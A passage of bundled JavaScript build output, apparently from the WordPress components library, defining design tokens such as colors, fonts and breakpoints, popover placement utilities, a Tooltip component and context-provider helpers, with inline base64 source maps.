ZWZ0L2cgKTtcbmNvbnN0IFVQUEVSX1JJR0hUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9SaWdodC9nICk7XG5cbi8qKlxuICogRmxpcHMgYSBDU1MgcHJvcGVydHkgZnJvbSBsZWZ0IDwtPiByaWdodC5cbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBDU1MgcHJvcGVydHkgbmFtZS5cbiAqXG4gKiBAcmV0dXJuIHtzdHJpbmd9IFRoZSBmbGlwcGVkIENTUyBwcm9wZXJ0eSBuYW1lLCBpZiBhcHBsaWNhYmxlLlxuICovXG5mdW5jdGlvbiBnZXRDb252ZXJ0ZWRLZXkoIGtleSApIHtcblx0aWYgKCBrZXkgPT09ICdsZWZ0JyApIHtcblx0XHRyZXR1cm4gJ3JpZ2h0Jztcblx0fVxuXG5cdGlmICgga2V5ID09PSAncmlnaHQnICkge1xuXHRcdHJldHVybiAnbGVmdCc7XG5cdH1cblxuXHRpZiAoIExPV0VSX0xFRlRfUkVHRVhQLnRlc3QoIGtleSApICkge1xuXHRcdHJldHVybiBrZXkucmVwbGFjZSggTE9XRVJfTEVGVF9SRUdFWFAsICctcmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIExPV0VSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIExPV0VSX1JJR0hUX1JFR0VYUCwgJy1sZWZ0JyApO1xuXHR9XG5cblx0aWYgKCBVUFBFUl9MRUZUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX0xFRlRfUkVHRVhQLCAnUmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIFVQUEVSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX1JJR0hUX1JFR0VYUCwgJ0xlZnQnICk7XG5cdH1cblxuXHRyZXR1cm4ga2V5O1xufVxuXG4vKipcbiAqIEFuIGluY3JlZGlibHkgYmFzaWMgbHRyIC0+IHJ0bCBjb252ZXJ0ZXIgZm9yIHN0eWxlIHByb3BlcnRpZXNcbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlc1xuICpcbiAqIEByZXR1cm4ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IENvbnZlcnRlZCBsdHIgLT4gcnRsIHN0eWxlc1xuICovXG5leHBvcnQgY29uc3QgY29udmVydExUUlRvUlRMID0gKCBsdHJTdHlsZXMgPSB7fSApID0+IHtcblx0cmV0dXJuIE9iamVjdC5mcm9tRW50cmllcyhcblx0XHRPYmplY3QuZW50cmllcyggbHRyU3R5bGVzICkubWFwKCAoIFsga2V5LCB2YWx1ZSBdICkgPT4gW1xuXHRcdFx0Z2V0Q29udmVydGVkS2V5KCBrZXkgKSxcblx0XHRcdHZhbHVlLFxuXHRcdF0gKVxuXHQpO1xufTtcblxuLyoqXG4gKiBBIGhpZ2hlci1vcmRlciBmdW5jdGlvbiB0aGF0IGNyZWF0ZSBhbiBpbmNyZWRpYmx5IGJhc2ljIGx0ciAtPiBydGwgc3R5bGUgY29udmVydGVyIGZvciBDU1Mgb2JqZWN0cy5cbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlcyAgIEx0ciBzdHlsZXMuIENvbnZlcnRzIGFuZCByZW5kZXJzIGZyb20gbHRyIC0+IHJ0bCBzdHlsZXMsIGlmIGFwcGxpY2FibGUuXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IFtydGxTdHlsZXNdIFJ0bCBzdHlsZXMuIFJlbmRlcnMgaWYgcHJvdmlkZWQuXG4gKlxuICogQHJldHVybiB7KCkgPT4gaW1wb3J0KCdAZW1vdGlvbi9yZWFjdCcpLlNlcmlhbGl6ZWRTdHlsZXN9IEEgZnVuY3Rpb24gdG8gb3V0cHV0IENTUyBzdHlsZXMgZm9yIEVtb3Rpb24ncyByZW5kZXJlclxuICovXG5leHBvcnQgZnVuY3Rpb24gcnRsKCBsdHJTdHlsZXMgPSB7fSwgcnRsU3R5bGVzICkge1xuXHRyZXR1cm4gKCkgPT4ge1xuXHRcdGlmICggcnRsU3R5bGVzICkge1xuXHRcdFx0Ly8gQHRzLWlnbm9yZTogYGNzc2AgdHlwZXMgYXJlIHdyb25nLCBpdCBjYW4gYWNjZXB0IGFuIG9iamVjdDogaHR0cHM6Ly9lbW90aW9uLnNoL2RvY3Mvb2JqZWN0LXN0eWxlcyN3aXRoLWNzc1xuXHRcdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIHJ0bFN0eWxlcyApIDogY3NzKCBsdHJTdHlsZXMgKTtcblx0XHR9XG5cblx0XHQvLyBAdHMtaWdub3JlOiBgY3NzYCB0eXBlcyBhcmUgd3JvbmcsIGl0IGNhbiBhY2NlcHQgYW4gb2JqZWN0OiBodHRwczovL2Vtb3Rpb24uc2gvZG9jcy9vYmplY3Qtc3R5bGVzI3dpdGgtY3NzXG5cdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIGNvbnZlcnRMVFJUb1JUTCggbHRyU3R5bGVzICkgKSA6IGNzcyggbHRyU3R5bGVzICk7XG5cdH07XG59XG5cbi8qKlxuICogQ2FsbCB0aGlzIGluIHRoZSBgdXNlTWVtb2AgZGVwZW5kZW5jeSBhcnJheSB0byBlbnN1cmUgdGhhdCBzdWJzZXF1ZW50IHJlbmRlcnMgd2lsbFxuICogY2F1c2UgcnRsIHN0eWxlcyB0byB1cGRhdGUgYmFzZWQgb24gdGhlIGBpc1JUTGAgcmV0dXJuIHZhbHVlIGV2ZW4gaWYgYWxsIG90aGVyIGRlcGVuZGVuY2llc1xuICogcmVtYWluIHRoZSBzYW1lLlxuICpcbiAqIEBleGFtcGxlXG4gKiBjb25zdCBzdHlsZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG4gKiAgIHJldHVybiBjc3NgXG4gKiAgICAgJHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMTBweCcgfSApIH1cbiAqICAgYDtcbiAqIH0sIFsgcnRsLndhdGNoKCkgXSApO1xuICovXG5ydGwud2F0Y2ggPSAoKSA9PiBpc1JUTCgpO1xuIl19 */");
22369 };
22370 }
22371 rtl.watch = () => (0, import_i18n2.isRTL)();
22372
22373 // packages/components/build-module/utils/font-values.mjs
22374 var font_values_default = {
22375 "default.fontFamily": "-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif",
22376 "default.fontSize": "13px",
22377 "helpText.fontSize": "12px",
22378 mobileTextMinFontSize: "16px"
22379 };
22380
22381 // packages/components/build-module/utils/font.mjs
22382 function font(value) {
22383 return font_values_default[value] ?? "";
22384 }
22385
22386 // packages/components/build-module/utils/breakpoint-values.mjs
22387 var breakpoint_values_default = {
22388 huge: "1440px",
22389 wide: "1280px",
22390 "x-large": "1080px",
22391 large: "960px",
22392 // admin sidebar auto folds
22393 medium: "782px",
22394 // Adminbar goes big.
22395 small: "600px",
22396 mobile: "480px",
22397 "zoomed-in": "280px"
22398 };
22399
22400 // packages/components/build-module/utils/breakpoint.mjs
22401 var breakpoint = (point) => `@media (min-width: ${breakpoint_values_default[point]})`;
22402
22403 // packages/components/build-module/utils/colors-values.mjs
22404 var white = "#fff";
22405 var GRAY = {
22406 900: "#1e1e1e",
22407 800: "#2f2f2f",
22408 /** Meets 4.6:1 text contrast against white. */
22409 700: "#757575",
22410 /** Meets 3:1 UI or large text contrast against white. */
22411 600: "#949494",
22412 400: "#ccc",
22413 /** Used for most borders. */
22414 300: "#ddd",
22415 /** Used sparingly for light borders. */
22416 200: "#e0e0e0",
22417 /** Used for light gray backgrounds. */
22418 100: "#f0f0f0"
22419 };
22420 var ALERT = {
22421 yellow: "#f0b849",
22422 red: "#d94f4f",
22423 green: "#4ab866"
22424 };
22425 var THEME = {
22426 accent: `var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9))`,
22427 accentDarker10: `var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6))`,
22428 accentDarker20: `var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6))`,
22429 /** Used when placing text on the accent color. */
22430 accentInverted: `var(--wp-components-color-accent-inverted, ${white})`,
22431 background: `var(--wp-components-color-background, ${white})`,
22432 foreground: `var(--wp-components-color-foreground, ${GRAY[900]})`,
22433 /** Used when placing text on the foreground color. */
22434 foregroundInverted: `var(--wp-components-color-foreground-inverted, ${white})`,
22435 gray: {
22436 /** @deprecated Use `COLORS.theme.foreground` instead. */
22437 900: `var(--wp-components-color-foreground, ${GRAY[900]})`,
22438 800: `var(--wp-components-color-gray-800, ${GRAY[800]})`,
22439 700: `var(--wp-components-color-gray-700, ${GRAY[700]})`,
22440 600: `var(--wp-components-color-gray-600, ${GRAY[600]})`,
22441 400: `var(--wp-components-color-gray-400, ${GRAY[400]})`,
22442 300: `var(--wp-components-color-gray-300, ${GRAY[300]})`,
22443 200: `var(--wp-components-color-gray-200, ${GRAY[200]})`,
22444 100: `var(--wp-components-color-gray-100, ${GRAY[100]})`
22445 }
22446 };
22447 var UI = {
22448 background: THEME.background,
22449 backgroundDisabled: THEME.gray[100],
22450 border: THEME.gray[600],
22451 borderHover: THEME.gray[700],
22452 borderFocus: THEME.accent,
22453 borderDisabled: THEME.gray[400],
22454 textDisabled: THEME.gray[600],
22455 // Matches @wordpress/base-styles
22456 darkGrayPlaceholder: `color-mix(in srgb, ${THEME.foreground}, transparent 38%)`,
22457 lightGrayPlaceholder: `color-mix(in srgb, ${THEME.background}, transparent 35%)`
22458 };
22459 var COLORS = Object.freeze({
22460 /**
22461 * The main gray color object.
22462 *
22463 * @deprecated Use semantic aliases in `COLORS.ui` or theme-ready variables in `COLORS.theme.gray`.
22464 */
22465 gray: GRAY,
22466 // TODO: Stop exporting this when everything is migrated to `theme` or `ui`
22467 /**
22468 * @deprecated Prefer theme-ready variables in `COLORS.theme`.
22469 */
22470 white,
22471 alert: ALERT,
22472 /**
22473 * Theme-ready variables with fallbacks.
22474 *
22475 * Prefer semantic aliases in `COLORS.ui` when applicable.
22476 */
22477 theme: THEME,
22478 /**
22479 * Semantic aliases (prefer these over raw variables when applicable).
22480 */
22481 ui: UI
22482 });
22483
22484 // packages/components/build-module/utils/config-values.mjs
22485 var CONTROL_HEIGHT = "36px";
22486 var CONTROL_PROPS = {
22487 // These values should be shared with TextControl.
22488 controlPaddingX: 12,
22489 controlPaddingXSmall: 8,
22490 controlPaddingXLarge: 12 * 1.3334,
22491 // TODO: Deprecate
22492 controlBoxShadowFocus: `0 0 0 0.5px ${COLORS.theme.accent}`,
22493 controlHeight: CONTROL_HEIGHT,
22494 controlHeightXSmall: `calc( ${CONTROL_HEIGHT} * 0.6 )`,
22495 controlHeightSmall: `calc( ${CONTROL_HEIGHT} * 0.8 )`,
22496 controlHeightLarge: `calc( ${CONTROL_HEIGHT} * 1.2 )`,
22497 controlHeightXLarge: `calc( ${CONTROL_HEIGHT} * 1.4 )`
22498 };
22499 var config_values_default = Object.assign({}, CONTROL_PROPS, {
22500 colorDivider: "rgba(0, 0, 0, 0.1)",
22501 colorScrollbarThumb: "rgba(0, 0, 0, 0.2)",
22502 colorScrollbarThumbHover: "rgba(0, 0, 0, 0.5)",
22503 colorScrollbarTrack: "rgba(0, 0, 0, 0.04)",
22504 elevationIntensity: 1,
22505 radiusXSmall: "1px",
22506 radiusSmall: "2px",
22507 radiusMedium: "4px",
22508 radiusLarge: "8px",
22509 radiusFull: "9999px",
22510 radiusRound: "50%",
22511 borderWidth: "1px",
22512 borderWidthFocus: "1.5px",
22513 borderWidthTab: "4px",
22514 spinnerSize: 16,
22515 fontSize: "13px",
22516 fontSizeH1: "calc(2.44 * 13px)",
22517 fontSizeH2: "calc(1.95 * 13px)",
22518 fontSizeH3: "calc(1.56 * 13px)",
22519 fontSizeH4: "calc(1.25 * 13px)",
22520 fontSizeH5: "13px",
22521 fontSizeH6: "calc(0.8 * 13px)",
22522 fontSizeInputMobile: "16px",
22523 fontSizeMobile: "15px",
22524 fontSizeSmall: "calc(0.92 * 13px)",
22525 fontSizeXSmall: "calc(0.75 * 13px)",
22526 fontLineHeightBase: "1.4",
22527 fontWeight: "normal",
22528 fontWeightMedium: "499",
22529 // ensures fallback to 400 (instead of 600)
22530 fontWeightHeading: "600",
22531 gridBase: "4px",
22532 elevationXSmall: `0 1px 1px rgba(0, 0, 0, 0.03), 0 1px 2px rgba(0, 0, 0, 0.02), 0 3px 3px rgba(0, 0, 0, 0.02), 0 4px 4px rgba(0, 0, 0, 0.01)`,
22533 elevationSmall: `0 1px 2px rgba(0, 0, 0, 0.05), 0 2px 3px rgba(0, 0, 0, 0.04), 0 6px 6px rgba(0, 0, 0, 0.03), 0 8px 8px rgba(0, 0, 0, 0.02)`,
22534 elevationMedium: `0 2px 3px rgba(0, 0, 0, 0.05), 0 4px 5px rgba(0, 0, 0, 0.04), 0 12px 12px rgba(0, 0, 0, 0.03), 0 16px 16px rgba(0, 0, 0, 0.02)`,
22535 elevationLarge: `0 5px 15px rgba(0, 0, 0, 0.08), 0 15px 27px rgba(0, 0, 0, 0.07), 0 30px 36px rgba(0, 0, 0, 0.04), 0 50px 43px rgba(0, 0, 0, 0.02)`,
22536 surfaceBackgroundColor: COLORS.white,
22537 surfaceBackgroundSubtleColor: "#F3F3F3",
22538 surfaceBackgroundTintColor: "#F5F5F5",
22539 surfaceBorderColor: "rgba(0, 0, 0, 0.1)",
22540 surfaceBorderBoldColor: "rgba(0, 0, 0, 0.15)",
22541 surfaceBorderSubtleColor: "rgba(0, 0, 0, 0.05)",
22542 surfaceBackgroundTertiaryColor: COLORS.white,
22543 surfaceColor: COLORS.white,
22544 transitionDuration: "200ms",
22545 transitionDurationFast: "160ms",
22546 transitionDurationFaster: "120ms",
22547 transitionDurationFastest: "100ms",
22548 transitionTimingFunction: "cubic-bezier(0.08, 0.52, 0.52, 1)",
22549 transitionTimingFunctionControl: "cubic-bezier(0.12, 0.8, 0.32, 1)"
22550 });
22551
22552 // packages/components/build-module/utils/base-label.mjs
22553 var baseLabelTypography = /* @__PURE__ */ css("font-size:11px;font-weight:", config_values_default.fontWeightMedium, ";line-height:1.4;text-transform:uppercase;" + (false ? "" : ";label:baseLabelTypography;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtbGFiZWwudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBWXNDIiwiZmlsZSI6ImJhc2UtbGFiZWwudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBDT05GSUcgZnJvbSAnLi9jb25maWctdmFsdWVzLmpzJztcblxuLy8gVGhpcyBpcyBhIHZlcnkgbG93LWxldmVsIG1peGluIHdoaWNoIHlvdSBzaG91bGRuJ3QgaGF2ZSB0byB1c2UgZGlyZWN0bHkuXG4vLyBUcnkgdG8gdXNlIEJhc2VDb250cm9sJ3MgU3R5bGVkTGFiZWwgb3IgQmFzZUNvbnRyb2wuVmlzdWFsTGFiZWwgaWYgeW91IGNhbi5cbmV4cG9ydCBjb25zdCBiYXNlTGFiZWxUeXBvZ3JhcGh5ID0gY3NzYFxuXHRmb250LXNpemU6IDExcHg7XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuXHRsaW5lLWhlaWdodDogMS40O1xuXHR0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuYDtcbiJdfQ== */");
22554
22555 // packages/components/build-module/utils/dropdown-motion.mjs
22556 var DROPDOWN_MOTION = Object.freeze({
22557 SLIDE_DISTANCE: 4,
22558 SLIDE_DURATION: 200,
22559 SLIDE_EASING: {
22560 function: "cubic-bezier",
22561 args: [0, 0, 0, 1]
22562 },
22563 FADE_DURATION: 80,
22564 FADE_EASING: {
22565 function: "linear"
22566 }
22567 });
22568 var convertEasingToString = (easing) => {
22569 if (easing.args?.length) {
22570 return `${easing.function}(${easing.args.join(",")})`;
22571 }
22572 return easing.function;
22573 };
22574 var DROPDOWN_MOTION_CSS = Object.freeze({
22575 SLIDE_DISTANCE: `${DROPDOWN_MOTION.SLIDE_DISTANCE}px`,
22576 SLIDE_DURATION: `${DROPDOWN_MOTION.SLIDE_DURATION}ms`,
22577 SLIDE_EASING: convertEasingToString(DROPDOWN_MOTION.SLIDE_EASING),
22578 FADE_DURATION: `${DROPDOWN_MOTION.FADE_DURATION}ms`,
22579 FADE_EASING: convertEasingToString(DROPDOWN_MOTION.FADE_EASING)
22580 });
22581
22582 // packages/components/build-module/popover/utils.mjs
22583 var POSITION_TO_PLACEMENT = {
22584 bottom: "bottom",
22585 top: "top",
22586 "middle left": "left",
22587 "middle right": "right",
22588 "bottom left": "bottom-end",
22589 "bottom center": "bottom",
22590 "bottom right": "bottom-start",
22591 "top left": "top-end",
22592 "top center": "top",
22593 "top right": "top-start",
22594 "middle left left": "left",
22595 "middle left right": "left",
22596 "middle left bottom": "left-end",
22597 "middle left top": "left-start",
22598 "middle right left": "right",
22599 "middle right right": "right",
22600 "middle right bottom": "right-end",
22601 "middle right top": "right-start",
22602 "bottom left left": "bottom-end",
22603 "bottom left right": "bottom-end",
22604 "bottom left bottom": "bottom-end",
22605 "bottom left top": "bottom-end",
22606 "bottom center left": "bottom",
22607 "bottom center right": "bottom",
22608 "bottom center bottom": "bottom",
22609 "bottom center top": "bottom",
22610 "bottom right left": "bottom-start",
22611 "bottom right right": "bottom-start",
22612 "bottom right bottom": "bottom-start",
22613 "bottom right top": "bottom-start",
22614 "top left left": "top-end",
22615 "top left right": "top-end",
22616 "top left bottom": "top-end",
22617 "top left top": "top-end",
22618 "top center left": "top",
22619 "top center right": "top",
22620 "top center bottom": "top",
22621 "top center top": "top",
22622 "top right left": "top-start",
22623 "top right right": "top-start",
22624 "top right bottom": "top-start",
22625 "top right top": "top-start",
22626 // `middle`/`middle center [corner?]` positions are associated to a fallback
22627 // `bottom` placement because there aren't any corresponding placement values.
22628 middle: "bottom",
22629 "middle center": "bottom",
22630 "middle center bottom": "bottom",
22631 "middle center left": "bottom",
22632 "middle center right": "bottom",
22633 "middle center top": "bottom"
22634 };
22635 var positionToPlacement = (position2) => POSITION_TO_PLACEMENT[position2] ?? "bottom";
22636 var PLACEMENT_TO_ANIMATION_ORIGIN = {
22637 top: {
22638 originX: 0.5,
22639 originY: 1
22640 },
22641 // open from bottom, center
22642 "top-start": {
22643 originX: 0,
22644 originY: 1
22645 },
22646 // open from bottom, left
22647 "top-end": {
22648 originX: 1,
22649 originY: 1
22650 },
22651 // open from bottom, right
22652 right: {
22653 originX: 0,
22654 originY: 0.5
22655 },
22656 // open from middle, left
22657 "right-start": {
22658 originX: 0,
22659 originY: 0
22660 },
22661 // open from top, left
22662 "right-end": {
22663 originX: 0,
22664 originY: 1
22665 },
22666 // open from bottom, left
22667 bottom: {
22668 originX: 0.5,
22669 originY: 0
22670 },
22671 // open from top, center
22672 "bottom-start": {
22673 originX: 0,
22674 originY: 0
22675 },
22676 // open from top, left
22677 "bottom-end": {
22678 originX: 1,
22679 originY: 0
22680 },
22681 // open from top, right
22682 left: {
22683 originX: 1,
22684 originY: 0.5
22685 },
22686 // open from middle, right
22687 "left-start": {
22688 originX: 1,
22689 originY: 0
22690 },
22691 // open from top, right
22692 "left-end": {
22693 originX: 1,
22694 originY: 1
22695 },
22696 // open from bottom, right
22697 overlay: {
22698 originX: 0.5,
22699 originY: 0.5
22700 }
22701 // open from center, center
22702 };
22703 var placementToMotionAnimationProps = (placement) => {
22704 const translateProp = placement.startsWith("top") || placement.startsWith("bottom") ? "translateY" : "translateX";
22705 const translateDirection = placement.startsWith("top") || placement.startsWith("left") ? 1 : -1;
22706 return {
22707 style: PLACEMENT_TO_ANIMATION_ORIGIN[placement],
22708 initial: {
22709 opacity: 0,
22710 [translateProp]: `${DROPDOWN_MOTION.SLIDE_DISTANCE * translateDirection}px`
22711 },
22712 animate: {
22713 opacity: 1,
22714 [translateProp]: 0
22715 },
22716 transition: {
22717 opacity: {
22718 duration: DROPDOWN_MOTION.FADE_DURATION / 1e3,
22719 ease: DROPDOWN_MOTION.FADE_EASING.function
22720 },
22721 [translateProp]: {
22722 duration: DROPDOWN_MOTION.SLIDE_DURATION / 1e3,
22723 ease: cubicBezier(...DROPDOWN_MOTION.SLIDE_EASING.args)
22724 }
22725 }
22726 };
22727 };
22728 function isTopBottom(anchorRef) {
22729 return !!anchorRef?.top;
22730 }
22731 function isRef(anchorRef) {
22732 return !!anchorRef?.current;
22733 }
22734 var getReferenceElement = ({
22735 anchor,
22736 anchorRef,
22737 anchorRect,
22738 getAnchorRect,
22739 fallbackReferenceElement
22740 }) => {
22741 let referenceElement = null;
22742 if (anchor) {
22743 referenceElement = anchor;
22744 } else if (isTopBottom(anchorRef)) {
22745 referenceElement = {
22746 getBoundingClientRect() {
22747 const topRect = anchorRef.top.getBoundingClientRect();
22748 const bottomRect = anchorRef.bottom.getBoundingClientRect();
22749 return new window.DOMRect(topRect.x, topRect.y, topRect.width, bottomRect.bottom - topRect.top);
22750 }
22751 };
22752 } else if (isRef(anchorRef)) {
22753 referenceElement = anchorRef.current;
22754 } else if (anchorRef) {
22755 referenceElement = anchorRef;
22756 } else if (anchorRect) {
22757 referenceElement = {
22758 getBoundingClientRect() {
22759 return anchorRect;
22760 }
22761 };
22762 } else if (getAnchorRect) {
22763 referenceElement = {
22764 getBoundingClientRect() {
22765 const rect = getAnchorRect(fallbackReferenceElement);
22766 return new window.DOMRect(rect.x ?? rect.left, rect.y ?? rect.top, rect.width ?? rect.right - rect.left, rect.height ?? rect.bottom - rect.top);
22767 }
22768 };
22769 } else if (fallbackReferenceElement) {
22770 referenceElement = fallbackReferenceElement.parentElement;
22771 }
22772 return referenceElement ?? null;
22773 };
22774 var computePopoverPosition = (c3) => c3 === null || Number.isNaN(c3) ? void 0 : Math.round(c3);
22775
22776 // packages/components/build-module/tooltip/context.mjs
22777 var import_element13 = __toESM(require_element(), 1);
22778 var TooltipInternalContext = (0, import_element13.createContext)({
22779 isNestedInTooltip: false
22780 });
22781 TooltipInternalContext.displayName = "TooltipInternalContext";
22782
22783 // packages/components/build-module/tooltip/index.mjs
22784 var import_jsx_runtime44 = __toESM(require_jsx_runtime(), 1);
22785 var TOOLTIP_DELAY = 700;
22786 var CONTEXT_VALUE = {
22787 isNestedInTooltip: true
22788 };
22789 function UnforwardedTooltip(props, ref) {
22790 const {
22791 children,
22792 className: className2,
22793 delay: delay2 = TOOLTIP_DELAY,
22794 hideOnClick = true,
22795 placement,
22796 position: position2,
22797 shortcut,
22798 text,
22799 ...restProps
22800 } = props;
22801 const {
22802 isNestedInTooltip
22803 } = (0, import_element14.useContext)(TooltipInternalContext);
22804 const baseId = (0, import_compose.useInstanceId)(Tooltip22, "tooltip");
22805 const describedById = text || shortcut ? baseId : void 0;
22806 const isOnlyChild = import_element14.Children.count(children) === 1;
22807 if (!isOnlyChild) {
22808 if (true) {
22809 console.error("wp-components.Tooltip should be called with only a single child element.");
22810 }
22811 }
22812 let computedPlacement;
22813 if (placement !== void 0) {
22814 computedPlacement = placement;
22815 } else if (position2 !== void 0) {
22816 computedPlacement = positionToPlacement(position2);
22817 (0, import_deprecated.default)("`position` prop in wp.components.tooltip", {
22818 since: "6.4",
22819 alternative: "`placement` prop"
22820 });
22821 }
22822 computedPlacement = computedPlacement || "bottom";
22823 const tooltipStore = useTooltipStore({
22824 placement: computedPlacement,
22825 showTimeout: delay2
22826 });
22827 const mounted = useStoreState(tooltipStore, "mounted");
22828 if (isNestedInTooltip) {
22829 return isOnlyChild ? /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(Role, {
22830 ...restProps,
22831 render: children
22832 }) : children;
22833 }
22834 function addDescribedById(element) {
22835 return describedById && mounted && element.props["aria-describedby"] === void 0 && element.props["aria-label"] !== text ? (0, import_element14.cloneElement)(element, {
22836 "aria-describedby": describedById
22837 }) : element;
22838 }
22839 return /* @__PURE__ */ (0, import_jsx_runtime44.jsxs)(TooltipInternalContext.Provider, {
22840 value: CONTEXT_VALUE,
22841 children: [/* @__PURE__ */ (0, import_jsx_runtime44.jsx)(TooltipAnchor, {
22842 onClick: hideOnClick ? tooltipStore.hide : void 0,
22843 store: tooltipStore,
22844 render: isOnlyChild ? addDescribedById(children) : void 0,
22845 ref,
22846 children: isOnlyChild ? void 0 : children
22847 }), isOnlyChild && (text || shortcut) && /* @__PURE__ */ (0, import_jsx_runtime44.jsxs)(Tooltip, {
22848 ...restProps,
22849 className: clsx_default("components-tooltip", className2),
22850 unmountOnHide: true,
22851 gutter: 4,
22852 id: describedById,
22853 overflowPadding: 0.5,
22854 store: tooltipStore,
22855 children: [text, shortcut && /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(shortcut_default, {
22856 className: text ? "components-tooltip__shortcut" : "",
22857 shortcut
22858 })]
22859 })]
22860 });
22861 }
22862 var Tooltip22 = (0, import_element14.forwardRef)(UnforwardedTooltip);
22863 var tooltip_default = Tooltip22;
22864
22865 // packages/components/build-module/context/context-system-provider.mjs
22866 var import_deepmerge = __toESM(require_cjs(), 1);
22867 var import_es6 = __toESM(require_es6(), 1);
22868
22869 // node_modules/is-plain-object/dist/is-plain-object.mjs
22870 function isObject2(o4) {
22871 return Object.prototype.toString.call(o4) === "[object Object]";
22872 }
22873 function isPlainObject(o4) {
22874 var ctor, prot;
22875 if (isObject2(o4) === false) return false;
22876 ctor = o4.constructor;
22877 if (ctor === void 0) return true;
22878 prot = ctor.prototype;
22879 if (isObject2(prot) === false) return false;
22880 if (prot.hasOwnProperty("isPrototypeOf") === false) {
22881 return false;
22882 }
22883 return true;
22884 }
22885
22886 // packages/components/build-module/context/context-system-provider.mjs
22887 var import_element15 = __toESM(require_element(), 1);
22888 var import_warning = __toESM(require_warning(), 1);
22889 var import_jsx_runtime45 = __toESM(require_jsx_runtime(), 1);
22890 var ComponentsContext = (0, import_element15.createContext)(
22891 /** @type {Record<string, any>} */
22892 {}
22893 );
22894 ComponentsContext.displayName = "ComponentsContext";
22895 var useComponentsContext = () => (0, import_element15.useContext)(ComponentsContext);
22896 function useContextSystemBridge({
22897 value
22898 }) {
22899 const parentContext = useComponentsContext();
22900 const valueRef = (0, import_element15.useRef)(value);
22901 use_update_effect_default(() => {
22902 if (
22903 // Objects are equivalent.
22904 (0, import_es6.default)(valueRef.current, value) && // But not the same reference.
22905 valueRef.current !== value
22906 ) {
22907 true ? (0, import_warning.default)(`Please memoize your context: ${JSON.stringify(value)}`) : void 0;
22908 }
22909 }, [value]);
22910 const config = (0, import_element15.useMemo)(() => {
22911 return (0, import_deepmerge.default)(parentContext ?? {}, value ?? {}, {
22912 isMergeableObject: isPlainObject
22913 });
22914 }, [parentContext, value]);
22915 return config;
22916 }
22917 var BaseContextSystemProvider = ({
22918 children,
22919 value
22920 }) => {
22921 const contextValue = useContextSystemBridge({
22922 value
22923 });
22924 return /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(ComponentsContext.Provider, {
22925 value: contextValue,
22926 children
22927 });
22928 };
22929 var ContextSystemProvider = (0, import_element15.memo)(BaseContextSystemProvider);
22930
22931 // packages/components/build-module/context/context-connect.mjs
22932 var import_element16 = __toESM(require_element(), 1);
22933 var import_warning2 = __toESM(require_warning(), 1);
22934
22935 // packages/components/build-module/context/constants.mjs
22936 var COMPONENT_NAMESPACE = "data-wp-component";
22937 var CONNECTED_NAMESPACE = "data-wp-c16t";
22938 var CONNECT_STATIC_NAMESPACE = "__contextSystemKey__";
22939
22940 // node_modules/tslib/tslib.es6.mjs
22941 var __assign = function() {
22942 __assign = Object.assign || function __assign4(t4) {
22943 for (var s3, i3 = 1, n3 = arguments.length; i3 < n3; i3++) {
22944 s3 = arguments[i3];
22945 for (var p3 in s3) if (Object.prototype.hasOwnProperty.call(s3, p3)) t4[p3] = s3[p3];
22946 }
22947 return t4;
22948 };
22949 return __assign.apply(this, arguments);
22950 };
22951
22952 // node_modules/lower-case/dist.es2015/index.js
22953 function lowerCase(str) {
22954 return str.toLowerCase();
22955 }
22956
22957 // node_modules/no-case/dist.es2015/index.js
22958 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
22959 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
22960 function noCase(input, options2) {
22961 if (options2 === void 0) {
22962 options2 = {};
22963 }
22964 var _a = options2.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options2.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options2.transform, transform = _c === void 0 ? lowerCase : _c, _d = options2.delimiter, delimiter2 = _d === void 0 ? " " : _d;
22965 var result = replace2(replace2(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
22966 var start = 0;
22967 var end = result.length;
22968 while (result.charAt(start) === "\0")
22969 start++;
22970 while (result.charAt(end - 1) === "\0")
22971 end--;
